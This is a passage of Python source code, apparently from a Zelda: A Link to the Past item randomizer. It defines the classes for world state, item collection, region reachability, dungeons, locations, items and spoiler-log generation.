raise TypeError(f\"expected str, got {type(dungeonname)} instead\")\n for dungeon in self.dungeons:\n if dungeon.name == dungeonname and dungeon.player == player:\n return dungeon\n raise KeyError('No such dungeon %s for player %d' % (dungeonname, player))\n\n def get_all_state(self, keys=False) -> CollectionState:\n ret = CollectionState(self)\n\n def soft_collect(item):\n if item.name.startswith('Progressive '):\n if 'Sword' in item.name:\n if ret.has('Golden Sword', item.player):\n pass\n elif ret.has('Tempered Sword', item.player) and self.difficulty_requirements[\n item.player].progressive_sword_limit >= 4:\n ret.prog_items['Golden Sword', item.player] += 1\n elif ret.has('Master Sword', item.player) and self.difficulty_requirements[\n item.player].progressive_sword_limit >= 3:\n ret.prog_items['Tempered Sword', item.player] += 1\n elif ret.has('Fighter Sword', item.player) and self.difficulty_requirements[item.player].progressive_sword_limit >= 2:\n ret.prog_items['Master Sword', item.player] += 1\n elif self.difficulty_requirements[item.player].progressive_sword_limit >= 1:\n ret.prog_items['Fighter Sword', item.player] += 1\n elif 'Glove' in item.name:\n if ret.has('Titans Mitts', item.player):\n pass\n elif ret.has('Power Glove', item.player):\n ret.prog_items['Titans Mitts', item.player] += 1\n else:\n ret.prog_items['Power Glove', item.player] += 1\n elif 'Shield' in item.name:\n if ret.has('Mirror Shield', item.player):\n pass\n elif ret.has('Red Shield', item.player) and self.difficulty_requirements[item.player].progressive_shield_limit >= 3:\n ret.prog_items['Mirror Shield', item.player] += 1\n elif ret.has('Blue Shield', item.player) and self.difficulty_requirements[item.player].progressive_shield_limit >= 2:\n ret.prog_items['Red Shield', item.player] += 1\n elif self.difficulty_requirements[item.player].progressive_shield_limit >= 1:\n ret.prog_items['Blue Shield', item.player] += 1\n elif 'Bow' in item.name:\n if ret.has('Silver', item.player):\n pass\n elif ret.has('Bow', item.player) and self.difficulty_requirements[item.player].progressive_bow_limit >= 2:\n ret.prog_items['Silver Bow', item.player] += 1\n elif self.difficulty_requirements[item.player].progressive_bow_limit >= 1:\n ret.prog_items['Bow', item.player] += 1\n elif item.name.startswith('Bottle'):\n if ret.bottle_count(item.player) < self.difficulty_requirements[item.player].progressive_bottle_limit:\n ret.prog_items[item.name, item.player] += 1\n elif item.advancement or item.smallkey or item.bigkey:\n ret.prog_items[item.name, item.player] += 1\n\n for item in self.itempool:\n soft_collect(item)\n\n if keys:\n for p in range(1, self.players + 1):\n from Items import ItemFactory\n for item in ItemFactory(\n ['Small Key (Hyrule Castle)', 'Big Key (Eastern Palace)', 'Big Key (Desert Palace)',\n 'Small Key (Desert Palace)', 'Big Key (Tower of Hera)', 'Small Key (Tower of Hera)',\n 'Small Key (Agahnims Tower)', 'Small Key (Agahnims Tower)',\n 'Big Key (Palace of Darkness)'] + ['Small Key (Palace of Darkness)'] * 6 + [\n 'Big Key (Thieves Town)', 'Small Key (Thieves Town)', 'Big Key (Skull Woods)'] + [\n 'Small Key (Skull Woods)'] * 3 + ['Big Key (Swamp Palace)',\n 'Small Key (Swamp Palace)', 'Big Key (Ice Palace)'] + [\n 'Small Key (Ice Palace)'] * 2 + ['Big Key (Misery Mire)', 'Big Key (Turtle Rock)',\n 'Big Key (Ganons Tower)'] + [\n 'Small Key (Misery Mire)'] * 3 + ['Small Key (Turtle Rock)'] * 4 + [\n 'Small Key (Ganons Tower)'] * 4,\n p):\n soft_collect(item)\n ret.sweep_for_events()\n return ret\n\n def get_items(self) -> list:\n return [loc.item for loc in self.get_filled_locations()] + self.itempool\n\n def find_items(self, item, player: int) -> list:\n return [location for location in self.get_locations() if\n location.item is not None and location.item.name == item and location.item.player == player]\n\n def push_precollected(self, item: Item):\n item.world = self\n if (item.smallkey and self.keyshuffle[item.player]) or (item.bigkey and self.bigkeyshuffle[item.player]):\n item.advancement = True\n self.precollected_items.append(item)\n self.state.collect(item, True)\n\n def push_item(self, location: Location, item: Item, collect: bool = True):\n if not isinstance(location, Location):\n raise RuntimeError(\n 'Cannot assign item %s to invalid location %s (player %d).' % (item, location, item.player))\n\n if location.can_fill(self.state, item, False):\n location.item = item\n item.location = location\n item.world = self\n if collect:\n self.state.collect(item, location.event, location)\n\n logging.debug('Placed %s at %s', item, location)\n else:\n raise RuntimeError('Cannot assign item %s to location %s.' % (item, location))\n\n def get_entrances(self) -> list:\n if self._cached_entrances is None:\n self._cached_entrances = [entrance for region in self.regions for entrance in region.entrances]\n return self._cached_entrances\n\n def clear_entrance_cache(self):\n self._cached_entrances = None\n\n def get_locations(self) -> list:\n if self._cached_locations is None:\n self._cached_locations = [location for region in self.regions for location in region.locations]\n return self._cached_locations\n\n def clear_location_cache(self):\n self._cached_locations = None\n\n def get_unfilled_locations(self, player=None) -> list:\n if player is not None:\n return [location for location in self.get_locations() if\n location.player == player and not location.item]\n return [location for location in self.get_locations() if not location.item]\n\n def get_unfilled_dungeon_locations(self):\n return [location for location in self.get_locations() if not location.item and location.parent_region.dungeon]\n\n def get_filled_locations(self, player=None) -> list:\n if player is not None:\n return [location for location in self.get_locations() if\n location.player == player and location.item is not None]\n return [location for location in self.get_locations() if location.item is not None]\n\n def get_reachable_locations(self, state=None, player=None) -> list:\n if state is None:\n state = self.state\n return [location for location in self.get_locations() if\n (player is None or location.player == player) and location.can_reach(state)]\n\n def get_placeable_locations(self, state=None, player=None) -> list:\n if state is None:\n state = self.state\n return [location for location in self.get_locations() if\n (player is None or location.player == player) and location.item is None and location.can_reach(state)]\n\n def get_unfilled_locations_for_players(self, location_name: str, players: Iterable[int]):\n for player in players:\n location = self.get_location(location_name, player)\n if location.item is None:\n yield location\n\n def unlocks_new_location(self, item) -> bool:\n temp_state = self.state.copy()\n temp_state.collect(item, True)\n\n for location in self.get_unfilled_locations():\n if temp_state.can_reach(location) and not self.state.can_reach(location):\n return True\n\n return False\n\n def has_beaten_game(self, state, player: Optional[int] = None):\n if player:\n return state.has('Triforce', player) or state.world.logic[player] == 'nologic'\n else:\n return all((self.has_beaten_game(state, p) for p in range(1, self.players + 1)))\n\n def can_beat_game(self, starting_state : Optional[CollectionState]=None):\n if starting_state:\n if self.has_beaten_game(starting_state):\n return True\n state = starting_state.copy()\n else:\n if self.has_beaten_game(self.state):\n return True\n state = CollectionState(self)\n prog_locations = {location for location in self.get_locations() if location.item is not None and (\n location.item.advancement or location.event) and location not in state.locations_checked}\n\n while prog_locations:\n sphere = []\n # build up spheres of collection radius. Everything in each sphere is independent from each other in dependencies and only depends on lower spheres\n for location in prog_locations:\n if location.can_reach(state):\n sphere.append(location)\n\n if not sphere:\n # ran out of places and did not finish yet, quit\n return False\n\n for location in sphere:\n prog_locations.remove(location)\n state.collect(location.item, True, location)\n\n if self.has_beaten_game(state):\n return True\n\n return False\n\n def get_spheres(self):\n state = CollectionState(self)\n\n locations = set(self.get_locations())\n\n while locations:\n sphere = set()\n\n for location in locations:\n if location.can_reach(state):\n sphere.add(location)\n sphere_list = list(sphere)\n sphere_list.sort(key=lambda location: location.name)\n self.random.shuffle(sphere_list)\n yield sphere_list\n if not sphere:\n if locations:\n yield locations # unreachable locations\n break\n\n for location in sphere:\n state.collect(location.item, True, location)\n locations -= sphere\n\n\n\n def fulfills_accessibility(self, state: Optional[CollectionState] = None):\n \"\"\"Check if accessibility rules are fulfilled with current or supplied state.\"\"\"\n if not state:\n state = CollectionState(self)\n players = {\"none\" : set(),\n \"items\": set(),\n \"locations\": set()}\n for player, access in self.accessibility.items():\n players[access].add(player)\n\n beatable_fulfilled = False\n\n def location_conditition(location : Location):\n \"\"\"Determine if this location has to be accessible, location is already filtered by location_relevant\"\"\"\n if location.player in players[\"none\"]:\n return False\n return True\n\n def location_relevant(location : Location):\n \"\"\"Determine if this location is relevant to sweep.\"\"\"\n if location.player in players[\"locations\"] or location.event or \\\n (location.item and location.item.advancement):\n return True\n return False\n\n def all_done():\n \"\"\"Check if all access rules are fulfilled\"\"\"\n if beatable_fulfilled:\n if any(location_conditition(location) for location in locations):\n return False # still locations required to be collected\n return True\n\n locations = {location for location in self.get_locations() if location_relevant(location)}\n\n while locations:\n sphere = set()\n for location in locations:\n if location.can_reach(state):\n sphere.add(location)\n\n if not sphere:\n # ran out of places and did not finish yet, quit\n logging.debug(f\"Could not access required locations.\")\n return False\n\n for location in sphere:\n locations.remove(location)\n state.collect(location.item, True, location)\n\n if self.has_beaten_game(state):\n beatable_fulfilled = True\n\n if all_done():\n return True\n\n return False\n\n\nclass CollectionState(object):\n\n def __init__(self, parent: World):\n self.prog_items = Counter()\n self.world = parent\n self.reachable_regions = {player: set() for player in range(1, parent.players + 1)}\n self.blocked_connections = {player: set() for player in range(1, parent.players + 1)}\n self.events = set()\n self.path = {}\n self.locations_checked = set()\n self.stale = {player: True for player in range(1, parent.players + 1)}\n for item in parent.precollected_items:\n self.collect(item, True)\n\n def update_reachable_regions(self, player: int):\n self.stale[player] = False\n rrp = self.reachable_regions[player]\n bc = self.blocked_connections[player]\n queue = deque(self.blocked_connections[player])\n start = self.world.get_region('Menu', player)\n\n # init on first call - this can't be done on construction since the regions don't exist yet\n if not start in rrp:\n rrp.add(start)\n bc.update(start.exits)\n queue.extend(start.exits)\n\n # run BFS on all connections, and keep track of those blocked by missing items\n while queue:\n connection = queue.popleft()\n new_region = connection.connected_region\n if new_region in rrp:\n bc.remove(connection)\n elif connection.can_reach(self):\n rrp.add(new_region)\n bc.remove(connection)\n bc.update(new_region.exits)\n queue.extend(new_region.exits)\n self.path[new_region] = (new_region.name, self.path.get(connection, None))\n\n # Retry connections if the new region can unblock them\n if new_region.name in indirect_connections:\n new_entrance = self.world.get_entrance(indirect_connections[new_region.name], player)\n if new_entrance in bc and new_entrance not in queue:\n queue.append(new_entrance)\n\n def copy(self) -> CollectionState:\n ret = CollectionState(self.world)\n ret.prog_items = self.prog_items.copy()\n ret.reachable_regions = {player: copy.copy(self.reachable_regions[player]) for player in\n range(1, self.world.players + 1)}\n ret.blocked_connections = {player: copy.copy(self.blocked_connections[player]) for player in range(1, self.world.players + 1)}\n ret.events = copy.copy(self.events)\n ret.path = copy.copy(self.path)\n ret.locations_checked = copy.copy(self.locations_checked)\n return ret\n\n def can_reach(self, spot, resolution_hint=None, player=None) -> bool:\n if not hasattr(spot, \"spot_type\"):\n # try to resolve a name\n if resolution_hint == 'Location':\n spot = self.world.get_location(spot, player)\n elif resolution_hint == 'Entrance':\n spot = self.world.get_entrance(spot, player)\n else:\n # default to Region\n spot = self.world.get_region(spot, player)\n return spot.can_reach(self)\n\n def sweep_for_events(self, key_only: bool = False, locations=None):\n if locations is None:\n locations = self.world.get_filled_locations()\n new_locations = True\n while new_locations:\n reachable_events = {location for location in locations if location.event and\n (not key_only or\n (not self.world.keyshuffle[location.item.player] and location.item.smallkey)\n or (not self.world.bigkeyshuffle[location.item.player] and location.item.bigkey))\n and location.can_reach(self)}\n new_locations = reachable_events - self.events\n for event in new_locations:\n self.events.add(event)\n self.collect(event.item, True, event)\n\n def has(self, item, player: int, count: int = 1):\n return self.prog_items[item, player] >= count\n\n def has_key(self, item, player, count: int = 1):\n if self.world.logic[player] == 'nologic':\n return True\n if self.world.keyshuffle[player] == \"universal\":\n return self.can_buy_unlimited('Small Key (Universal)', player)\n return self.prog_items[item, player] >= count\n\n def can_buy_unlimited(self, item: str, player: int) -> bool:\n return any(shop.region.player == player and shop.has_unlimited(item) and shop.region.can_reach(self) for\n shop in self.world.shops)\n\n def can_buy(self, item: str, player: int) -> bool:\n return any(shop.region.player == player and shop.has(item) and shop.region.can_reach(self) for\n shop in self.world.shops)\n\n def item_count(self, item, player: int) -> int:\n return self.prog_items[item, player]\n\n def has_triforce_pieces(self, count: int, player: int) -> bool:\n return self.item_count('Triforce Piece', player) + self.item_count('Power Star', player) >= count\n\n def has_crystals(self, count: int, player: int) -> bool:\n found: int = 0\n for crystalnumber in range(1, 8):\n found += self.prog_items[f\"Crystal {crystalnumber}\", player]\n if found >= count:\n return True\n return False\n\n def can_lift_rocks(self, player: int):\n return self.has('Power Glove', player) or self.has('Titans Mitts', player)\n\n def has_bottle(self, player: int) -> bool:\n return self.has_bottles(1, player)\n\n def bottle_count(self, player: int) -> int:\n found: int = 0\n for bottlename in item_name_groups[\"Bottles\"]:\n found += self.prog_items[bottlename, player]\n return found\n\n def has_bottles(self, bottles: int, player: int) -> bool:\n \"\"\"Version of bottle_count that allows fast abort\"\"\"\n found: int = 0\n for bottlename in item_name_groups[\"Bottles\"]:\n found += self.prog_items[bottlename, player]\n if found >= bottles:\n return True\n return False\n\n def has_hearts(self, player: int, count: int) -> int:\n # Warning: This only considers items that are marked as advancement items\n return self.heart_count(player) >= count\n\n def heart_count(self, player: int) -> int:\n # Warning: This only considers items that are marked as advancement items\n diff = self.world.difficulty_requirements[player]\n return min(self.item_count('Boss Heart Container', player), diff.boss_heart_container_limit) \\\n + self.item_count('Sanctuary Heart Container', player) \\\n + min(self.item_count('Piece of Heart', player), diff.heart_piece_limit) // 4 \\\n + 3 # starting hearts\n\n def can_lift_heavy_rocks(self, player: int) -> bool:\n return self.has('Titans Mitts', player)\n\n def can_extend_magic(self, player: int, smallmagic: int = 16,\n fullrefill: bool = False): # This reflects the total magic Link has, not the total extra he has.\n basemagic = 8\n if self.has('Magic Upgrade (1/4)', player):\n basemagic = 32\n elif self.has('Magic Upgrade (1/2)', player):\n basemagic = 16\n if self.can_buy_unlimited('Green Potion', player) or self.can_buy_unlimited('Blue Potion', player):\n if self.world.item_functionality[player] == 'hard' and not fullrefill:\n basemagic = basemagic + int(basemagic * 0.5 * self.bottle_count(player))\n elif self.world.item_functionality[player] == 'expert' and not fullrefill:\n basemagic = basemagic + int(basemagic * 0.25 * self.bottle_count(player))\n else:\n basemagic = basemagic + basemagic * self.bottle_count(player)\n return basemagic >= smallmagic\n\n def can_kill_most_things(self, player: int, enemies=5) -> bool:\n return (self.has_melee_weapon(player)\n or self.has('Cane of Somaria', player)\n or (self.has('Cane of Byrna', player) and (enemies < 6 or self.can_extend_magic(player)))\n or self.can_shoot_arrows(player)\n or self.has('Fire Rod', player)\n or (self.has('Bombs (10)', player) and enemies < 6))\n\n def can_shoot_arrows(self, player: int) -> bool:\n if self.world.retro[player]:\n return (self.has('Bow', player) or self.has('Silver Bow', player)) and self.can_buy('Single Arrow', player)\n return self.has('Bow', player) or self.has('Silver Bow', player)\n\n def can_get_good_bee(self, player: int) -> bool:\n cave = self.world.get_region('Good Bee Cave', player)\n return (\n self.has_bottle(player) and\n self.has('Bug Catching Net', player) and\n (self.has_Boots(player) or (self.has_sword(player) and self.has('Quake', player))) and\n cave.can_reach(self) and\n self.is_not_bunny(cave, player)\n )\n\n def can_retrieve_tablet(self, player:int) -> bool:\n return self.has('Book of Mudora', player) and (self.has_beam_sword(player) or\n (self.world.swords[player] == \"swordless\" and\n self.has(\"Hammer\", player)))\n\n def has_sword(self, player: int) -> bool:\n return self.has('Fighter Sword', player) \\\n or self.has('Master Sword', player) \\\n or self.has('Tempered Sword', player) \\\n or self.has('Golden Sword', player)\n\n def has_beam_sword(self, player: int) -> bool:\n return self.has('Master Sword', player) or self.has('Tempered Sword', player) or self.has('Golden Sword', player)\n\n def has_melee_weapon(self, player: int) -> bool:\n return self.has_sword(player) or self.has('Hammer', player)\n\n def has_Mirror(self, player: int) -> bool:\n return self.has('Magic Mirror', player)\n\n def has_Boots(self, player: int) -> bool:\n return self.has('Pegasus Boots', player)\n\n def has_Pearl(self, player: int) -> bool:\n return self.has('Moon Pearl', player)\n\n def has_fire_source(self, player: int) -> bool:\n return self.has('Fire Rod', player) or self.has('Lamp', player)\n\n def can_melt_things(self, player: int) -> bool:\n return self.has('Fire Rod', player) or \\\n (self.has('Bombos', player) and\n (self.world.swords[player] == \"swordless\" or\n self.has_sword(player)))\n\n def can_avoid_lasers(self, player: int) -> bool:\n return self.has('Mirror Shield', player) or self.has('Cane of Byrna', player) or self.has('Cape', player)\n\n def is_not_bunny(self, region: Region, player: int) -> bool:\n if self.has_Pearl(player):\n return True\n\n return region.is_light_world if self.world.mode[player] != 'inverted' else region.is_dark_world\n\n def can_reach_light_world(self, player: int) -> bool:\n if True in [i.is_light_world for i in self.reachable_regions[player]]:\n return True\n return False\n\n def can_reach_dark_world(self, player: int) -> bool:\n if True in [i.is_dark_world for i in self.reachable_regions[player]]:\n return True\n return False\n\n def has_misery_mire_medallion(self, player: int) -> bool:\n return self.has(self.world.required_medallions[player][0], player)\n\n def has_turtle_rock_medallion(self, player: int) -> bool:\n return self.has(self.world.required_medallions[player][1], player)\n\n def can_boots_clip_lw(self, player):\n if self.world.mode[player] == 'inverted':\n return self.has_Boots(player) and self.has_Pearl(player)\n return self.has_Boots(player)\n\n def can_boots_clip_dw(self, player):\n if self.world.mode[player] != 'inverted':\n return self.has_Boots(player) and self.has_Pearl(player)\n return self.has_Boots(player)\n\n def can_get_glitched_speed_lw(self, player):\n rules = [self.has_Boots(player), any([self.has('Hookshot', player), self.has_sword(player)])]\n if self.world.mode[player] == 'inverted':\n rules.append(self.has_Pearl(player))\n return all(rules)\n\n def can_superbunny_mirror_with_sword(self, player):\n return self.has_Mirror(player) and self.has_sword(player)\n\n def can_get_glitched_speed_dw(self, player):\n rules = [self.has_Boots(player), any([self.has('Hookshot', player), self.has_sword(player)])]\n if self.world.mode[player] != 'inverted':\n rules.append(self.has_Pearl(player))\n return all(rules)\n\n def collect(self, item: Item, event=False, location=None):\n if location:\n self.locations_checked.add(location)\n changed = False\n if item.name.startswith('Progressive '):\n if 'Sword' in item.name:\n if self.has('Golden Sword', item.player):\n pass\n elif self.has('Tempered Sword', item.player) and self.world.difficulty_requirements[\n item.player].progressive_sword_limit >= 4:\n self.prog_items['Golden Sword', item.player] += 1\n changed = True\n elif self.has('Master Sword', item.player) and self.world.difficulty_requirements[item.player].progressive_sword_limit >= 3:\n self.prog_items['Tempered Sword', item.player] += 1\n changed = True\n elif self.has('Fighter Sword', item.player) and self.world.difficulty_requirements[item.player].progressive_sword_limit >= 2:\n self.prog_items['Master Sword', item.player] += 1\n changed = True\n elif self.world.difficulty_requirements[item.player].progressive_sword_limit >= 1:\n self.prog_items['Fighter Sword', item.player] += 1\n changed = True\n elif 'Glove' in item.name:\n if self.has('Titans Mitts', item.player):\n pass\n elif self.has('Power Glove', item.player):\n self.prog_items['Titans Mitts', item.player] += 1\n changed = True\n else:\n self.prog_items['Power Glove', item.player] += 1\n changed = True\n elif 'Shield' in item.name:\n if self.has('Mirror Shield', item.player):\n pass\n elif self.has('Red Shield', item.player) and self.world.difficulty_requirements[item.player].progressive_shield_limit >= 3:\n self.prog_items['Mirror Shield', item.player] += 1\n changed = True\n elif self.has('Blue Shield', item.player) and self.world.difficulty_requirements[item.player].progressive_shield_limit >= 2:\n self.prog_items['Red Shield', item.player] += 1\n changed = True\n elif self.world.difficulty_requirements[item.player].progressive_shield_limit >= 1:\n self.prog_items['Blue Shield', item.player] += 1\n changed = True\n elif 'Bow' in item.name:\n if self.has('Silver Bow', item.player):\n pass\n elif self.has('Bow', item.player):\n self.prog_items['Silver Bow', item.player] += 1\n changed = True\n else:\n self.prog_items['Bow', item.player] += 1\n changed = True\n elif item.name.startswith('Bottle'):\n if self.bottle_count(item.player) < self.world.difficulty_requirements[item.player].progressive_bottle_limit:\n self.prog_items[item.name, item.player] += 1\n changed = True\n elif event or item.advancement:\n self.prog_items[item.name, item.player] += 1\n changed = True\n\n self.stale[item.player] = True\n\n if changed:\n if not event:\n self.sweep_for_events()\n\n def remove(self, item):\n if item.advancement:\n to_remove = item.name\n if to_remove.startswith('Progressive '):\n if 'Sword' in to_remove:\n if self.has('Golden Sword', item.player):\n to_remove = 'Golden Sword'\n elif self.has('Tempered Sword', item.player):\n to_remove = 'Tempered Sword'\n elif self.has('Master Sword', item.player):\n to_remove = 'Master Sword'\n elif self.has('Fighter Sword', item.player):\n to_remove = 'Fighter Sword'\n else:\n to_remove = None\n elif 'Glove' in item.name:\n if self.has('Titans Mitts', item.player):\n to_remove = 'Titans Mitts'\n elif self.has('Power Glove', item.player):\n to_remove = 'Power Glove'\n else:\n to_remove = None\n elif 'Shield' in item.name:\n if self.has('Mirror Shield', item.player):\n to_remove = 'Mirror Shield'\n elif self.has('Red Shield', item.player):\n to_remove = 'Red Shield'\n elif self.has('Blue Shield', item.player):\n to_remove = 'Blue Shield'\n else:\n to_remove = 'None'\n elif 'Bow' in item.name:\n if self.has('Silver Bow', item.player):\n to_remove = 'Silver Bow'\n elif self.has('Bow', item.player):\n to_remove = 'Bow'\n else:\n to_remove = None\n\n if to_remove is not None:\n\n self.prog_items[to_remove, item.player] -= 1\n if self.prog_items[to_remove, item.player] < 1:\n del (self.prog_items[to_remove, item.player])\n # invalidate caches, nothing can be trusted anymore now\n self.reachable_regions[item.player] = set()\n self.blocked_connections[item.player] = set()\n self.stale[item.player] = True\n\n@unique\nclass RegionType(Enum):\n LightWorld = 1\n DarkWorld = 2\n Cave = 3 # Also includes Houses\n Dungeon = 4\n\n @property\n def is_indoors(self):\n \"\"\"Shorthand for checking if Cave or Dungeon\"\"\"\n return self in (RegionType.Cave, RegionType.Dungeon)\n\n\nclass Region(object):\n\n def __init__(self, name: str, type, hint, player: int):\n self.name = name\n self.type = type\n self.entrances = []\n self.exits = []\n self.locations = []\n self.dungeon = None\n self.shop = None\n self.world = None\n self.is_light_world = False # will be set after making connections.\n self.is_dark_world = False\n self.spot_type = 'Region'\n self.hint_text = hint\n self.recursion_count = 0\n self.player = player\n\n def can_reach(self, state):\n if state.stale[self.player]:\n state.update_reachable_regions(self.player)\n return self in state.reachable_regions[self.player]\n\n def can_reach_private(self, state: CollectionState):\n for entrance in self.entrances:\n if entrance.can_reach(state):\n if not self in state.path:\n state.path[self] = (self.name, state.path.get(entrance, None))\n return True\n return False\n\n def can_fill(self, item: Item):\n inside_dungeon_item = ((item.smallkey and not self.world.keyshuffle[item.player])\n or (item.bigkey and not self.world.bigkeyshuffle[item.player])\n or (item.map and not self.world.mapshuffle[item.player])\n or (item.compass and not self.world.compassshuffle[item.player]))\n sewer_hack = self.world.mode[item.player] == 'standard' and item.name == 'Small Key (Hyrule Castle)'\n if sewer_hack or inside_dungeon_item:\n return self.dungeon and self.dungeon.is_dungeon_item(item) and item.player == self.player\n\n return True\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return self.world.get_name_string_for_object(self) if self.world else f'{self.name} (Player {self.player})'\n\n\nclass Entrance(object):\n\n def __init__(self, player: int, name: str = '', parent=None):\n self.name = name\n self.parent_region = parent\n self.connected_region = None\n self.target = None\n self.addresses = None\n self.spot_type = 'Entrance'\n self.recursion_count = 0\n self.vanilla = None\n self.access_rule = lambda state: True\n self.player = player\n self.hide_path = False\n\n def can_reach(self, state):\n if self.parent_region.can_reach(state) and self.access_rule(state):\n if not self.hide_path and not self in state.path:\n state.path[self] = (self.name, state.path.get(self.parent_region, (self.parent_region.name, None)))\n return True\n\n return False\n\n def connect(self, region, addresses=None, target=None, vanilla=None):\n self.connected_region = region\n self.target = target\n self.addresses = addresses\n self.vanilla = vanilla\n region.entrances.append(self)\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n world = self.parent_region.world if self.parent_region else None\n return world.get_name_string_for_object(self) if world else f'{self.name} (Player {self.player})'\n\nclass Dungeon(object):\n\n def __init__(self, name: str, regions, big_key, small_keys, dungeon_items, player: int):\n self.name = name\n self.regions = regions\n self.big_key = big_key\n self.small_keys = small_keys\n self.dungeon_items = dungeon_items\n self.bosses = dict()\n self.player = player\n self.world = None\n\n @property\n def boss(self):\n return self.bosses.get(None, None)\n\n @boss.setter\n def boss(self, value):\n self.bosses[None] = value\n\n @property\n def keys(self):\n return self.small_keys + ([self.big_key] if self.big_key else [])\n\n @property\n def all_items(self):\n return self.dungeon_items + self.keys\n\n def is_dungeon_item(self, item: Item) -> bool:\n return item.player == self.player and item.name in [dungeon_item.name for dungeon_item in self.all_items]\n\n def __eq__(self, other: Item) -> bool:\n return self.name == other.name and self.player == other.player\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return self.world.get_name_string_for_object(self) if self.world else f'{self.name} (Player {self.player})'\n\nclass Boss():\n def __init__(self, name, enemizer_name, defeat_rule, player: int):\n self.name = name\n self.enemizer_name = enemizer_name\n self.defeat_rule = defeat_rule\n self.player = player\n\n def can_defeat(self, state) -> bool:\n return self.defeat_rule(state, self.player)\n\n\nclass Location():\n shop_slot: bool = False\n shop_slot_disabled: bool = False\n event: bool = False\n locked: bool = False\n\n def __init__(self, player: int, name: str = '', address=None, crystal: bool = False,\n hint_text: Optional[str] = None, parent=None,\n player_address=None):\n self.name = name\n self.parent_region = parent\n self.item = None\n self.crystal = crystal\n self.address = address\n self.player_address = player_address\n self.spot_type = 'Location'\n self.hint_text: str = hint_text if hint_text else name\n self.recursion_count = 0\n self.always_allow = lambda item, state: False\n self.access_rule = lambda state: True\n self.item_rule = lambda item: True\n self.player = player\n\n def can_fill(self, state: CollectionState, item: Item, check_access=True) -> bool:\n return self.always_allow(state, item) or (self.parent_region.can_fill(item) and self.item_rule(item) and (not check_access or self.can_reach(state)))\n\n def can_reach(self, state: CollectionState) -> bool:\n # self.access_rule computes faster on average, so placing it first for faster abort\n if self.access_rule(state) and self.parent_region.can_reach(state):\n return True\n return False\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n world = self.parent_region.world if self.parent_region and self.parent_region.world else None\n return world.get_name_string_for_object(self) if world else f'{self.name} (Player {self.player})'\n\n def __hash__(self):\n return hash((self.name, self.player))\n\n def __lt__(self, other):\n return (self.player, self.name) < (other.player, other.name)\n\n\nclass Item(object):\n location: Optional[Location] = None\n world: Optional[World] = None\n\n def __init__(self, name='', advancement=False, type=None, code=None, pedestal_hint=None, pedestal_credit=None, sickkid_credit=None, zora_credit=None, witch_credit=None, fluteboy_credit=None, hint_text=None, player=None):\n self.name = name\n self.advancement = advancement\n self.type = type\n self.pedestal_hint_text = pedestal_hint\n self.pedestal_credit_text = pedestal_credit\n self.sickkid_credit_text = sickkid_credit\n self.zora_credit_text = zora_credit\n self.magicshop_credit_text = witch_credit\n self.fluteboy_credit_text = fluteboy_credit\n self.hint_text = hint_text\n self.code = code\n self.player = player\n\n def __eq__(self, other):\n return self.name == other.name and self.player == other.player\n\n def __lt__(self, other):\n if other.player != self.player:\n return other.player < self.player\n return self.name < other.name\n\n def __hash__(self):\n return hash((self.name, self.player))\n\n @property\n def crystal(self) -> bool:\n return self.type == 'Crystal'\n\n @property\n def smallkey(self) -> bool:\n return self.type == 'SmallKey'\n\n @property\n def bigkey(self) -> bool:\n return self.type == 'BigKey'\n\n @property\n def map(self) -> bool:\n return self.type == 'Map'\n\n @property\n def compass(self) -> bool:\n return self.type == 'Compass'\n\n def __repr__(self):\n return self.__str__()\n\n def __str__(self):\n return self.world.get_name_string_for_object(self) if self.world else f'{self.name} (Player {self.player})'\n\n\n# have 6 address that need to be filled\nclass Crystal(Item):\n pass\n\n\nclass Spoiler(object):\n world: World\n\n def __init__(self, world):\n self.world = world\n self.hashes = {}\n self.entrances = OrderedDict()\n self.medallions = {}\n self.playthrough = {}\n self.unreachables = []\n self.startinventory = []\n self.locations = {}\n self.paths = {}\n self.metadata = {}\n self.shops = []\n self.bosses = OrderedDict()\n\n def set_entrance(self, entrance, exit, direction, player):\n if self.world.players == 1:\n self.entrances[(entrance, direction, player)] = OrderedDict([('entrance', entrance), ('exit', exit), ('direction', direction)])\n else:\n self.entrances[(entrance, direction, player)] = OrderedDict([('player', player), ('entrance', entrance), ('exit', exit), ('direction', direction)])\n\n def parse_data(self):\n self.medallions = OrderedDict()\n if self.world.players == 1:\n self.medallions['Misery Mire'] = self.world.required_medallions[1][0]\n self.medallions['Turtle Rock'] = self.world.required_medallions[1][1]\n else:\n for player in range(1, self.world.players + 1):\n self.medallions[f'Misery Mire ({self.world.get_player_names(player)})'] = self.world.required_medallions[player][0]\n self.medallions[f'Turtle Rock ({self.world.get_player_names(player)})'] = self.world.required_medallions[player][1]\n\n self.startinventory = list(map(str, self.world.precollected_items))\n\n self.locations = OrderedDict()\n listed_locations = set()\n\n lw_locations = [loc for loc in self.world.get_locations() if loc not in listed_locations and loc.parent_region and loc.parent_region.type == RegionType.LightWorld]\n self.locations['Light World'] = OrderedDict([(str(location), str(location.item) if location.item is not None else 'Nothing') for location in lw_locations])\n listed_locations.update(lw_locations)\n\n dw_locations = [loc for loc in self.world.get_locations() if loc not in listed_locations and loc.parent_region and loc.parent_region.type == RegionType.DarkWorld]\n self.locations['Dark World'] = OrderedDict([(str(location), str(location.item) if location.item is not None else 'Nothing') for location in dw_locations])\n listed_locations.update(dw_locations)\n\n cave_locations = [loc for loc in self.world.get_locations() if loc not in listed_locations and loc.parent_region and loc.parent_region.type == RegionType.Cave]\n self.locations['Caves'] = OrderedDict([(str(location), str(location.item) if location.item is not None else 'Nothing') for location in cave_locations])\n listed_locations.update(cave_locations)\n\n for dungeon in self.world.dungeons:\n dungeon_locations = [loc for loc in self.world.get_locations() if loc not in listed_locations and loc.parent_region and loc.parent_region.dungeon == dungeon]\n self.locations[str(dungeon)] = OrderedDict([(str(location), str(location.item) if location.item is not None else 'Nothing') for location in dungeon_locations])\n listed_locations.update(dungeon_locations)\n\n other_locations = [loc for loc in self.world.get_locations() if loc not in listed_locations]\n if other_locations:\n self.locations['Other Locations'] = OrderedDict([(str(location), str(location.item) if location.item is not None else 'Nothing') for location in other_locations])\n listed_locations.update(other_locations)\n\n self.shops = []\n from Shops import ShopType\n for shop in self.world.shops:\n if not shop.custom:\n continue\n shopdata = {'location': str(shop.region),\n 'type': 'Take Any' if shop.type == ShopType.TakeAny else 'Shop'\n }\n for index, item in enumerate(shop.inventory):\n if item is None:\n continue\n shopdata['item_{}'.format(index)] = \"{} — 